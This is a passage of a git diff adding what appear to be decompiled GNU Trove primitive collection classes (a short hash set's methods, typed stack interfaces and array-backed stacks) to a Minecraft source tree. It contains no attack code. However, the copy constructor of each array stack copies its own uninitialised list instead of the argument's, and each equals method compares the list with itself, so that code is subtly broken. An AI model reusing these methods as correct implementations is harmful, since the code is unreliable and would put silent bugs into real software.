+  {
+    boolean changed = false;
+    Arrays.sort(array);
+    short[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      if ((states[i] == 1) && (Arrays.binarySearch(array, set[i]) < 0)) {
+        removeAt(i);
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(Collection<?> collection)
+  {
+    boolean changed = false;
+    for (Object element : collection) {
+      if ((element instanceof Short)) {
+        short c = ((Short)element).shortValue();
+        if (remove(c)) {
+          changed = true;
+        }
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(TShortCollection collection)
+  {
+    boolean changed = false;
+    TShortIterator iter = collection.iterator();
+    while (iter.hasNext()) {
+      short element = iter.next();
+      if (remove(element)) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public boolean removeAll(short[] array)
+  {
+    boolean changed = false;
+    for (int i = array.length; i-- > 0;) {
+      if (remove(array[i])) {
+        changed = true;
+      }
+    }
+    return changed;
+  }
+  
+
+  public void clear()
+  {
+    super.clear();
+    short[] set = _set;
+    byte[] states = _states;
+    
+    for (int i = set.length; i-- > 0;) {
+      set[i] = no_entry_value;
+      states[i] = 0;
+    }
+  }
+  
+
+  protected void rehash(int newCapacity)
+  {
+    int oldCapacity = _set.length;
+    short[] oldSet = _set;
+    byte[] oldStates = _states;
+    
+    _set = new short[newCapacity];
+    _states = new byte[newCapacity];
+    
+    for (int i = oldCapacity; i-- > 0;) {
+      if (oldStates[i] == 1) {
+        short o = oldSet[i];
+        int index = insertionIndex(o);
+        _set[index] = o;
+        _states[index] = 1;
+      }
+    }
+  }
+  
+
+  public boolean equals(Object other)
+  {
+    if (!(other instanceof TShortSet)) {
+      return false;
+    }
+    TShortSet that = (TShortSet)other;
+    if (that.size() != size()) {
+      return false;
+    }
+    for (int i = _states.length; i-- > 0;) {
+      if ((_states[i] == 1) && 
+        (!that.contains(_set[i]))) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+  public int hashCode()
+  {
+    int hashcode = 0;
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        hashcode += HashFunctions.hash(_set[i]);
+      }
+    }
+    return hashcode;
+  }
+  
+
+  public String toString()
+  {
+    StringBuilder buffy = new StringBuilder(_size * 2 + 2);
+    buffy.append("{");
+    int i = _states.length; for (int j = 1; i-- > 0;) {
+      if (_states[i] == 1) {
+        buffy.append(_set[i]);
+        if (j++ < _size) {
+          buffy.append(",");
+        }
+      }
+    }
+    buffy.append("}");
+    return buffy.toString();
+  }
+  
+  class TShortHashIterator
+    extends THashPrimitiveIterator
+    implements TShortIterator
+  {
+    private final TShortHash _hash;
+    
+    public TShortHashIterator(TShortHash hash)
+    {
+      super();
+      _hash = hash;
+    }
+    
+    public short next()
+    {
+      moveToNextIndex();
+      return _hash._set[_index];
+    }
+  }
+  
+
+
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(1);
+    
+
+    super.writeExternal(out);
+    
+
+    out.writeInt(_size);
+    
+
+    out.writeFloat(_loadFactor);
+    
+
+    out.writeShort(no_entry_value);
+    
+
+    for (int i = _states.length; i-- > 0;) {
+      if (_states[i] == 1) {
+        out.writeShort(_set[i]);
+      }
+    }
+  }
+  
+
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    int version = in.readByte();
+    
+
+    super.readExternal(in);
+    
+
+    int size = in.readInt();
+    
+    if (version >= 1)
+    {
+      _loadFactor = in.readFloat();
+      
+
+      no_entry_value = in.readShort();
+      
+      if (no_entry_value != 0) {
+        Arrays.fill(_set, no_entry_value);
+      }
+    }
+    
+
+    setUp(size);
+    while (size-- > 0) {
+      short val = in.readShort();
+      add(val);
+    }
+  }
+}
diff --git a/src/minecraft/gnu/trove/stack/TByteStack.java b/src/minecraft/gnu/trove/stack/TByteStack.java
new file mode 100644
index 0000000..0fe5897
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/TByteStack.java
@@ -0,0 +1,23 @@
+package gnu.trove.stack;
+
+import java.io.Serializable;
+
+public abstract interface TByteStack
+  extends Serializable
+{
+  public abstract byte getNoEntryValue();
+  
+  public abstract void push(byte paramByte);
+  
+  public abstract byte pop();
+  
+  public abstract byte peek();
+  
+  public abstract int size();
+  
+  public abstract void clear();
+  
+  public abstract byte[] toArray();
+  
+  public abstract void toArray(byte[] paramArrayOfByte);
+}
diff --git a/src/minecraft/gnu/trove/stack/TCharStack.java b/src/minecraft/gnu/trove/stack/TCharStack.java
new file mode 100644
index 0000000..557ecf1
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/TCharStack.java
@@ -0,0 +1,23 @@
+package gnu.trove.stack;
+
+import java.io.Serializable;
+
+public abstract interface TCharStack
+  extends Serializable
+{
+  public abstract char getNoEntryValue();
+  
+  public abstract void push(char paramChar);
+  
+  public abstract char pop();
+  
+  public abstract char peek();
+  
+  public abstract int size();
+  
+  public abstract void clear();
+  
+  public abstract char[] toArray();
+  
+  public abstract void toArray(char[] paramArrayOfChar);
+}
diff --git a/src/minecraft/gnu/trove/stack/TDoubleStack.java b/src/minecraft/gnu/trove/stack/TDoubleStack.java
new file mode 100644
index 0000000..bad8e85
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/TDoubleStack.java
@@ -0,0 +1,23 @@
+package gnu.trove.stack;
+
+import java.io.Serializable;
+
+public abstract interface TDoubleStack
+  extends Serializable
+{
+  public abstract double getNoEntryValue();
+  
+  public abstract void push(double paramDouble);
+  
+  public abstract double pop();
+  
+  public abstract double peek();
+  
+  public abstract int size();
+  
+  public abstract void clear();
+  
+  public abstract double[] toArray();
+  
+  public abstract void toArray(double[] paramArrayOfDouble);
+}
diff --git a/src/minecraft/gnu/trove/stack/TFloatStack.java b/src/minecraft/gnu/trove/stack/TFloatStack.java
new file mode 100644
index 0000000..7904ba6
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/TFloatStack.java
@@ -0,0 +1,23 @@
+package gnu.trove.stack;
+
+import java.io.Serializable;
+
+public abstract interface TFloatStack
+  extends Serializable
+{
+  public abstract float getNoEntryValue();
+  
+  public abstract void push(float paramFloat);
+  
+  public abstract float pop();
+  
+  public abstract float peek();
+  
+  public abstract int size();
+  
+  public abstract void clear();
+  
+  public abstract float[] toArray();
+  
+  public abstract void toArray(float[] paramArrayOfFloat);
+}
diff --git a/src/minecraft/gnu/trove/stack/TIntStack.java b/src/minecraft/gnu/trove/stack/TIntStack.java
new file mode 100644
index 0000000..8fdd7af
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/TIntStack.java
@@ -0,0 +1,23 @@
+package gnu.trove.stack;
+
+import java.io.Serializable;
+
+public abstract interface TIntStack
+  extends Serializable
+{
+  public abstract int getNoEntryValue();
+  
+  public abstract void push(int paramInt);
+  
+  public abstract int pop();
+  
+  public abstract int peek();
+  
+  public abstract int size();
+  
+  public abstract void clear();
+  
+  public abstract int[] toArray();
+  
+  public abstract void toArray(int[] paramArrayOfInt);
+}
diff --git a/src/minecraft/gnu/trove/stack/TLongStack.java b/src/minecraft/gnu/trove/stack/TLongStack.java
new file mode 100644
index 0000000..2243368
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/TLongStack.java
@@ -0,0 +1,23 @@
+package gnu.trove.stack;
+
+import java.io.Serializable;
+
+public abstract interface TLongStack
+  extends Serializable
+{
+  public abstract long getNoEntryValue();
+  
+  public abstract void push(long paramLong);
+  
+  public abstract long pop();
+  
+  public abstract long peek();
+  
+  public abstract int size();
+  
+  public abstract void clear();
+  
+  public abstract long[] toArray();
+  
+  public abstract void toArray(long[] paramArrayOfLong);
+}
diff --git a/src/minecraft/gnu/trove/stack/TShortStack.java b/src/minecraft/gnu/trove/stack/TShortStack.java
new file mode 100644
index 0000000..994f244
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/TShortStack.java
@@ -0,0 +1,23 @@
+package gnu.trove.stack;
+
+import java.io.Serializable;
+
+public abstract interface TShortStack
+  extends Serializable
+{
+  public abstract short getNoEntryValue();
+  
+  public abstract void push(short paramShort);
+  
+  public abstract short pop();
+  
+  public abstract short peek();
+  
+  public abstract int size();
+  
+  public abstract void clear();
+  
+  public abstract short[] toArray();
+  
+  public abstract void toArray(short[] paramArrayOfShort);
+}
diff --git a/src/minecraft/gnu/trove/stack/array/TByteArrayStack.java b/src/minecraft/gnu/trove/stack/array/TByteArrayStack.java
new file mode 100644
index 0000000..ead3fd5
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/array/TByteArrayStack.java
@@ -0,0 +1,286 @@
+package gnu.trove.stack.array;
+
+import gnu.trove.list.array.TByteArrayList;
+import gnu.trove.stack.TByteStack;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TByteArrayStack
+  implements TByteStack, Externalizable
+{
+  protected TByteArrayList _list;
+  public static final int DEFAULT_CAPACITY = 10;
+  
+  public TByteArrayStack()
+  {
+    this(10);
+  }
+  
+
+
+
+
+
+
+  public TByteArrayStack(int capacity)
+  {
+    _list = new TByteArrayList(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public TByteArrayStack(int capacity, byte no_entry_value)
+  {
+    _list = new TByteArrayList(capacity, no_entry_value);
+  }
+  
+
+
+
+
+
+
+  public TByteArrayStack(TByteStack stack)
+  {
+    if ((stack instanceof TByteArrayStack)) {
+      TByteArrayStack array_stack = (TByteArrayStack)stack;
+      _list = new TByteArrayList(_list);
+    } else {
+      throw new UnsupportedOperationException("Only support TByteArrayStack");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public byte getNoEntryValue()
+  {
+    return _list.getNoEntryValue();
+  }
+  
+
+
+
+
+
+  public void push(byte val)
+  {
+    _list.add(val);
+  }
+  
+
+
+
+
+
+  public byte pop()
+  {
+    return _list.removeAt(_list.size() - 1);
+  }
+  
+
+
+
+
+
+  public byte peek()
+  {
+    return _list.get(_list.size() - 1);
+  }
+  
+
+
+
+  public int size()
+  {
+    return _list.size();
+  }
+  
+
+
+
+  public void clear()
+  {
+    _list.clear();
+  }
+  
+
+
+
+
+
+
+  public byte[] toArray()
+  {
+    byte[] retval = _list.toArray();
+    reverse(retval, 0, size());
+    return retval;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void toArray(byte[] dest)
+  {
+    int size = size();
+    int start = size - dest.length;
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int length = Math.min(size, dest.length);
+    _list.toArray(dest, start, length);
+    reverse(dest, 0, length);
+    if (dest.length > size) {
+      dest[size] = _list.getNoEntryValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void reverse(byte[] dest, int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(dest, i, j);i++;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void swap(byte[] dest, int i, int j)
+  {
+    byte tmp = dest[i];
+    dest[i] = dest[j];
+    dest[j] = tmp;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    for (int i = _list.size() - 1; i > 0; i--) {
+      buf.append(_list.get(i));
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_list.get(0));
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if ((o == null) || (getClass() != o.getClass())) {
+      return false;
+    }
+    
+    TByteArrayStack that = (TByteArrayStack)o;
+    
+    return _list.equals(_list);
+  }
+  
+  public int hashCode()
+  {
+    return _list.hashCode();
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_list);
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _list = ((TByteArrayList)in.readObject());
+  }
+}
diff --git a/src/minecraft/gnu/trove/stack/array/TCharArrayStack.java b/src/minecraft/gnu/trove/stack/array/TCharArrayStack.java
new file mode 100644
index 0000000..54daee4
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/array/TCharArrayStack.java
@@ -0,0 +1,286 @@
+package gnu.trove.stack.array;
+
+import gnu.trove.list.array.TCharArrayList;
+import gnu.trove.stack.TCharStack;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TCharArrayStack
+  implements TCharStack, Externalizable
+{
+  protected TCharArrayList _list;
+  public static final int DEFAULT_CAPACITY = 10;
+  
+  public TCharArrayStack()
+  {
+    this(10);
+  }
+  
+
+
+
+
+
+
+  public TCharArrayStack(int capacity)
+  {
+    _list = new TCharArrayList(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public TCharArrayStack(int capacity, char no_entry_value)
+  {
+    _list = new TCharArrayList(capacity, no_entry_value);
+  }
+  
+
+
+
+
+
+
+  public TCharArrayStack(TCharStack stack)
+  {
+    if ((stack instanceof TCharArrayStack)) {
+      TCharArrayStack array_stack = (TCharArrayStack)stack;
+      _list = new TCharArrayList(_list);
+    } else {
+      throw new UnsupportedOperationException("Only support TCharArrayStack");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public char getNoEntryValue()
+  {
+    return _list.getNoEntryValue();
+  }
+  
+
+
+
+
+
+  public void push(char val)
+  {
+    _list.add(val);
+  }
+  
+
+
+
+
+
+  public char pop()
+  {
+    return _list.removeAt(_list.size() - 1);
+  }
+  
+
+
+
+
+
+  public char peek()
+  {
+    return _list.get(_list.size() - 1);
+  }
+  
+
+
+
+  public int size()
+  {
+    return _list.size();
+  }
+  
+
+
+
+  public void clear()
+  {
+    _list.clear();
+  }
+  
+
+
+
+
+
+
+  public char[] toArray()
+  {
+    char[] retval = _list.toArray();
+    reverse(retval, 0, size());
+    return retval;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void toArray(char[] dest)
+  {
+    int size = size();
+    int start = size - dest.length;
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int length = Math.min(size, dest.length);
+    _list.toArray(dest, start, length);
+    reverse(dest, 0, length);
+    if (dest.length > size) {
+      dest[size] = _list.getNoEntryValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void reverse(char[] dest, int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(dest, i, j);i++;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void swap(char[] dest, int i, int j)
+  {
+    char tmp = dest[i];
+    dest[i] = dest[j];
+    dest[j] = tmp;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    for (int i = _list.size() - 1; i > 0; i--) {
+      buf.append(_list.get(i));
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_list.get(0));
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if ((o == null) || (getClass() != o.getClass())) {
+      return false;
+    }
+    
+    TCharArrayStack that = (TCharArrayStack)o;
+    
+    return _list.equals(_list);
+  }
+  
+  public int hashCode()
+  {
+    return _list.hashCode();
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_list);
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _list = ((TCharArrayList)in.readObject());
+  }
+}
diff --git a/src/minecraft/gnu/trove/stack/array/TDoubleArrayStack.java b/src/minecraft/gnu/trove/stack/array/TDoubleArrayStack.java
new file mode 100644
index 0000000..39d307d
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/array/TDoubleArrayStack.java
@@ -0,0 +1,286 @@
+package gnu.trove.stack.array;
+
+import gnu.trove.list.array.TDoubleArrayList;
+import gnu.trove.stack.TDoubleStack;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TDoubleArrayStack
+  implements TDoubleStack, Externalizable
+{
+  protected TDoubleArrayList _list;
+  public static final int DEFAULT_CAPACITY = 10;
+  
+  public TDoubleArrayStack()
+  {
+    this(10);
+  }
+  
+
+
+
+
+
+
+  public TDoubleArrayStack(int capacity)
+  {
+    _list = new TDoubleArrayList(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public TDoubleArrayStack(int capacity, double no_entry_value)
+  {
+    _list = new TDoubleArrayList(capacity, no_entry_value);
+  }
+  
+
+
+
+
+
+
+  public TDoubleArrayStack(TDoubleStack stack)
+  {
+    if ((stack instanceof TDoubleArrayStack)) {
+      TDoubleArrayStack array_stack = (TDoubleArrayStack)stack;
+      _list = new TDoubleArrayList(_list);
+    } else {
+      throw new UnsupportedOperationException("Only support TDoubleArrayStack");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public double getNoEntryValue()
+  {
+    return _list.getNoEntryValue();
+  }
+  
+
+
+
+
+
+  public void push(double val)
+  {
+    _list.add(val);
+  }
+  
+
+
+
+
+
+  public double pop()
+  {
+    return _list.removeAt(_list.size() - 1);
+  }
+  
+
+
+
+
+
+  public double peek()
+  {
+    return _list.get(_list.size() - 1);
+  }
+  
+
+
+
+  public int size()
+  {
+    return _list.size();
+  }
+  
+
+
+
+  public void clear()
+  {
+    _list.clear();
+  }
+  
+
+
+
+
+
+
+  public double[] toArray()
+  {
+    double[] retval = _list.toArray();
+    reverse(retval, 0, size());
+    return retval;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void toArray(double[] dest)
+  {
+    int size = size();
+    int start = size - dest.length;
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int length = Math.min(size, dest.length);
+    _list.toArray(dest, start, length);
+    reverse(dest, 0, length);
+    if (dest.length > size) {
+      dest[size] = _list.getNoEntryValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void reverse(double[] dest, int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(dest, i, j);i++;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void swap(double[] dest, int i, int j)
+  {
+    double tmp = dest[i];
+    dest[i] = dest[j];
+    dest[j] = tmp;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    for (int i = _list.size() - 1; i > 0; i--) {
+      buf.append(_list.get(i));
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_list.get(0));
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if ((o == null) || (getClass() != o.getClass())) {
+      return false;
+    }
+    
+    TDoubleArrayStack that = (TDoubleArrayStack)o;
+    
+    return _list.equals(_list);
+  }
+  
+  public int hashCode()
+  {
+    return _list.hashCode();
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_list);
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _list = ((TDoubleArrayList)in.readObject());
+  }
+}
diff --git a/src/minecraft/gnu/trove/stack/array/TFloatArrayStack.java b/src/minecraft/gnu/trove/stack/array/TFloatArrayStack.java
new file mode 100644
index 0000000..29c0b60
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/array/TFloatArrayStack.java
@@ -0,0 +1,286 @@
+package gnu.trove.stack.array;
+
+import gnu.trove.list.array.TFloatArrayList;
+import gnu.trove.stack.TFloatStack;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TFloatArrayStack
+  implements TFloatStack, Externalizable
+{
+  protected TFloatArrayList _list;
+  public static final int DEFAULT_CAPACITY = 10;
+  
+  public TFloatArrayStack()
+  {
+    this(10);
+  }
+  
+
+
+
+
+
+
+  public TFloatArrayStack(int capacity)
+  {
+    _list = new TFloatArrayList(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public TFloatArrayStack(int capacity, float no_entry_value)
+  {
+    _list = new TFloatArrayList(capacity, no_entry_value);
+  }
+  
+
+
+
+
+
+
+  public TFloatArrayStack(TFloatStack stack)
+  {
+    if ((stack instanceof TFloatArrayStack)) {
+      TFloatArrayStack array_stack = (TFloatArrayStack)stack;
+      _list = new TFloatArrayList(_list);
+    } else {
+      throw new UnsupportedOperationException("Only support TFloatArrayStack");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public float getNoEntryValue()
+  {
+    return _list.getNoEntryValue();
+  }
+  
+
+
+
+
+
+  public void push(float val)
+  {
+    _list.add(val);
+  }
+  
+
+
+
+
+
+  public float pop()
+  {
+    return _list.removeAt(_list.size() - 1);
+  }
+  
+
+
+
+
+
+  public float peek()
+  {
+    return _list.get(_list.size() - 1);
+  }
+  
+
+
+
+  public int size()
+  {
+    return _list.size();
+  }
+  
+
+
+
+  public void clear()
+  {
+    _list.clear();
+  }
+  
+
+
+
+
+
+
+  public float[] toArray()
+  {
+    float[] retval = _list.toArray();
+    reverse(retval, 0, size());
+    return retval;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void toArray(float[] dest)
+  {
+    int size = size();
+    int start = size - dest.length;
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int length = Math.min(size, dest.length);
+    _list.toArray(dest, start, length);
+    reverse(dest, 0, length);
+    if (dest.length > size) {
+      dest[size] = _list.getNoEntryValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void reverse(float[] dest, int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(dest, i, j);i++;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void swap(float[] dest, int i, int j)
+  {
+    float tmp = dest[i];
+    dest[i] = dest[j];
+    dest[j] = tmp;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    for (int i = _list.size() - 1; i > 0; i--) {
+      buf.append(_list.get(i));
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_list.get(0));
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if ((o == null) || (getClass() != o.getClass())) {
+      return false;
+    }
+    
+    TFloatArrayStack that = (TFloatArrayStack)o;
+    
+    return _list.equals(_list);
+  }
+  
+  public int hashCode()
+  {
+    return _list.hashCode();
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_list);
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _list = ((TFloatArrayList)in.readObject());
+  }
+}
diff --git a/src/minecraft/gnu/trove/stack/array/TIntArrayStack.java b/src/minecraft/gnu/trove/stack/array/TIntArrayStack.java
new file mode 100644
index 0000000..01a429d
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/array/TIntArrayStack.java
@@ -0,0 +1,286 @@
+package gnu.trove.stack.array;
+
+import gnu.trove.list.array.TIntArrayList;
+import gnu.trove.stack.TIntStack;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TIntArrayStack
+  implements TIntStack, Externalizable
+{
+  protected TIntArrayList _list;
+  public static final int DEFAULT_CAPACITY = 10;
+  
+  public TIntArrayStack()
+  {
+    this(10);
+  }
+  
+
+
+
+
+
+
+  public TIntArrayStack(int capacity)
+  {
+    _list = new TIntArrayList(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public TIntArrayStack(int capacity, int no_entry_value)
+  {
+    _list = new TIntArrayList(capacity, no_entry_value);
+  }
+  
+
+
+
+
+
+
+  public TIntArrayStack(TIntStack stack)
+  {
+    if ((stack instanceof TIntArrayStack)) {
+      TIntArrayStack array_stack = (TIntArrayStack)stack;
+      _list = new TIntArrayList(_list);
+    } else {
+      throw new UnsupportedOperationException("Only support TIntArrayStack");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public int getNoEntryValue()
+  {
+    return _list.getNoEntryValue();
+  }
+  
+
+
+
+
+
+  public void push(int val)
+  {
+    _list.add(val);
+  }
+  
+
+
+
+
+
+  public int pop()
+  {
+    return _list.removeAt(_list.size() - 1);
+  }
+  
+
+
+
+
+
+  public int peek()
+  {
+    return _list.get(_list.size() - 1);
+  }
+  
+
+
+
+  public int size()
+  {
+    return _list.size();
+  }
+  
+
+
+
+  public void clear()
+  {
+    _list.clear();
+  }
+  
+
+
+
+
+
+
+  public int[] toArray()
+  {
+    int[] retval = _list.toArray();
+    reverse(retval, 0, size());
+    return retval;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public void toArray(int[] dest)
+  {
+    int size = size();
+    int start = size - dest.length;
+    if (start < 0) {
+      start = 0;
+    }
+    
+    int length = Math.min(size, dest.length);
+    _list.toArray(dest, start, length);
+    reverse(dest, 0, length);
+    if (dest.length > size) {
+      dest[size] = _list.getNoEntryValue();
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void reverse(int[] dest, int from, int to)
+  {
+    if (from == to) {
+      return;
+    }
+    if (from > to) {
+      throw new IllegalArgumentException("from cannot be greater than to");
+    }
+    int i = from; for (int j = to - 1; i < j; j--) {
+      swap(dest, i, j);i++;
+    }
+  }
+  
+
+
+
+
+
+
+
+  private void swap(int[] dest, int i, int j)
+  {
+    int tmp = dest[i];
+    dest[i] = dest[j];
+    dest[j] = tmp;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder buf = new StringBuilder("{");
+    for (int i = _list.size() - 1; i > 0; i--) {
+      buf.append(_list.get(i));
+      buf.append(", ");
+    }
+    if (size() > 0) {
+      buf.append(_list.get(0));
+    }
+    buf.append("}");
+    return buf.toString();
+  }
+  
+  public boolean equals(Object o)
+  {
+    if (this == o) {
+      return true;
+    }
+    if ((o == null) || (getClass() != o.getClass())) {
+      return false;
+    }
+    
+    TIntArrayStack that = (TIntArrayStack)o;
+    
+    return _list.equals(_list);
+  }
+  
+  public int hashCode()
+  {
+    return _list.hashCode();
+  }
+  
+  public void writeExternal(ObjectOutput out)
+    throws IOException
+  {
+    out.writeByte(0);
+    
+
+    out.writeObject(_list);
+  }
+  
+
+
+  public void readExternal(ObjectInput in)
+    throws IOException, ClassNotFoundException
+  {
+    in.readByte();
+    
+
+    _list = ((TIntArrayList)in.readObject());
+  }
+}
diff --git a/src/minecraft/gnu/trove/stack/array/TLongArrayStack.java b/src/minecraft/gnu/trove/stack/array/TLongArrayStack.java
new file mode 100644
index 0000000..839da53
--- /dev/null
+++ b/src/minecraft/gnu/trove/stack/array/TLongArrayStack.java
@@ -0,0 +1,286 @@
+package gnu.trove.stack.array;
+
+import gnu.trove.list.array.TLongArrayList;
+import gnu.trove.stack.TLongStack;
+import java.io.Externalizable;
+import java.io.IOException;
+import java.io.ObjectInput;
+import java.io.ObjectOutput;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class TLongArrayStack
+  implements TLongStack, Externalizable
+{
+  protected TLongArrayList _list;
+  public static final int DEFAULT_CAPACITY = 10;
+  
+  public TLongArrayStack()
+  {
+    this(10);
+  }
+  
+
+
+
+
+
+
+  public TLongArrayStack(int capacity)
+  {
+    _list = new TLongArrayList(capacity);
+  }
+  
+
+
+
+
+
+
+
+  public TLongArrayStack(int capacity, long no_entry_value)
+  {
+    _list = new TLongArrayList(capacity, no_entry_value);
+  }
+  
+
+
+
+
+
+
+  public TLongArrayStack(TLongStack stack)
+  {
+    if ((stack instanceof TLongArrayStack)) {
+      TLongArrayStack array_stack = (TLongArrayStack)stack;
+      _list = new TLongArrayList(_list);
+    } else {
+      throw new UnsupportedOperationException("Only support TLongArrayStack");
+    }
+  }
+  
+
+
+
+
+
+
+
+  public long getNoEntryValue()
+  {
+    return _list.getNoEntryValue();
+  }
+  
+
+
+
+
+
+  public void push(long val)
+  {
+    _list.add(val);
+  }
+  
+
+
+
+
+
+  public long pop()
+  {
+    return _list.removeAt(_list.size() - 1);
+  }
+  
+
+
+
+
+
+  public long peek()
+  {
+    return _list.get(_list.size() - 1);
+  }
+  
+
+
+
+  public int size()
+  {
+    return _list.size();
+  }
+  
+
+
+
+  public void clear()
+  {
+    _list.clear();
